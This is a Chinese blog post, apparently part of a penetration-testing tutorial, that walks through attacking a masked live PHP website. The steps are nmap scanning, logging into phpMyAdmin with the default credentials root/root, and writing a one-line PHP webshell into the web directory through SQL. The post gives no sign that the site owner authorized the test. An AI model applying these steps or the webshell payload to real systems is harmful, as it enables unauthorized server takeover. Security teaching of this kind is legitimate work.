目录
<a href="http://www.cnblogs.com/xuanhun/p/3479130.html#_Toc375326401">1.4 小试牛刀</a>
<a href="http://www.cnblogs.com/xuanhun/p/3479130.html#_Toc375326402">1.4.1 信息搜集</a>
<a href="http://www.cnblogs.com/xuanhun/p/3479130.html#_Toc375326403">whois查询</a>
<a href="http://www.cnblogs.com/xuanhun/p/3479130.html#_Toc375326404">服务指纹识别</a>
<a href="http://www.cnblogs.com/xuanhun/p/3479130.html#_Toc375326405">端口扫描</a>
<a href="http://www.cnblogs.com/xuanhun/p/3479130.html#_Toc375326406">综合性扫描</a>
<a href="http://www.cnblogs.com/xuanhun/p/3479130.html#_Toc375326407">1.4.2 发现漏洞</a>
<a href="http://www.cnblogs.com/xuanhun/p/3479130.html#_Toc375326408">1.4.3 攻击与权限维持</a>
<a href="http://www.cnblogs.com/xuanhun/p/3479130.html#_Toc375326409">小结</a>
本节作为第一章的最后一节,给大家展示一个渗透测试的简单示例。该示例操作简单,环境真实,主要是为了给您一个整体上的感知,同时提升学习渗透测试的兴趣。渗透测试的每一步并没有记录完整的细节信息。
结果如下:
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIyZuBnL5MDN0UzM1gTYwgDZ0U2MhlDZwQDZmhDMyMGM1Q2MlVWLzQDNxgTMwIzLcJTMzEDMy8CXzMTNyQzLcd2bsJ2Lc12bj5ycn9Gbi52YuAzcldWYtl2Lc9CX6MHc0RHaiojIsJye.png)
很多个人站点,都没有自定义错误信息的习惯。在url上随便输入一个不存在的地址,看是否会返回有用的信息。
通过上图,我们知道该站点的应用程序由php编写,web服务器为Apathe/2.2.22,操作系统为Ubuntu。
下面我们通过指纹识别工具,进行识别。
在终端启动nmap,输入如下命令:
nmap -A -T4 www.xxxxoooo.cn
如图,识别出来的服务和系统信息与报错信息一致。
在终端执行如下命令,使用nmap的tcp半开扫描方式来扫描打开的端口。
nmap -sS <targetiste>
该站点是需要登录的,所以在非登录情况下,常规扫描一般情况下意义不大。但是做一个基本的站点扫描还是必须的。当然很多工具是支持登录扫描的。
因为是web应用,一般情况下,我们是需要进行完整的web应用的漏洞扫描的。本实例忽略此步骤。
对于web应用,我们通常从操作系统、服务、应用本身三个方面来挖掘漏洞。
从站点应用上分析,一般的php程序会安装phpmyadmin组件,用来管理数据库。google一下,我们就会知道phpmyadmin 默认安装在站点根目录下。测试一下当前站点是否也在默认目录下安装了phpmyadmin呢?
ok,确实存在phpmyadmin。
继续google “phpmyadmin 默认用户名密码”。Googele之后,我们知道:“phpMyAdmin默认使用的是MySQL的帐户和密码”。MySql的默认账户是root,默认密码是空,但是phpmyadmin是不允许空密码的。
继续 Google“inurl: phpmyadmin”,可以看到很多关于phpmyadmin的文章。
这些文章略过,google“hack phpmyadmin”,看看有什么发现?
很多站点都配置默认密码为root。是不是也可以尝试下呢?
输入用户名root,密码root,奇迹就这么出现了,直接登录管理后台。
进入后台之后,我们得到了更为详尽的信息,为我们下一步攻击打下了基础
上面的步骤,我们完成了对网站数据库的攻击,其实拿到了网站数据库,就是拿到了整个网站的控制权。
如何利用phpmyadmin进行提权,从而得到服务器的控制权呢?
目前在phpmyadmin后台,我们可以操作表,向表中写数据,如果数据库有权限dump数据到web站点所在的文件夹,那么可以先将一个网马写到数据库再保存到磁盘本地,再从浏览器访问网马,是不是就可以了呢?
首先在phpmyadmin后台找到一个数据库,在“SQL”选项卡执行sql语句创建一个表“hacker”。
语句执行成功后,再插入一条数据,代码很简单,希望能用php的system函数执行系统指令。
INSERT INTO hacker (packet)
VALUES(
'<pre><body bgcolor=silver><? @system($_GET["cmd"]); ?></body></pre>'
);
下一步就是保存插入的记录到站点目录下,但是站点的物理路径是什么呢?我在观察页面请求链接的时候,发现一个404链接。
经过一番查找,终于找到一个有写权限的目录,将网马写到web目录中,得到了webshell,接下来就不用详解了吧。
这个简单的小例子,只是想告诉大家,渗透测试有什么并没有那么困难。也没有哪种方法,哪个工具或者平台是万能的,最重要的是你自己的努力和思考。
从下一节开始,我们正式进入渗透测试的学习之旅。
2.1节--《DNS信息搜集》。
ps:对此文章或者安全、安全编程感兴趣的读者,可以加qq群:Hacking:303242737;Hacking-2群:147098303;Hacking-3群:31371755;hacking-4群:201891680;Hacking-5群:316885176
本文转自玄魂博客园博客,原文链接:http://www.cnblogs.com/xuanhun/p/3479130.html,如需转载请自行联系原作者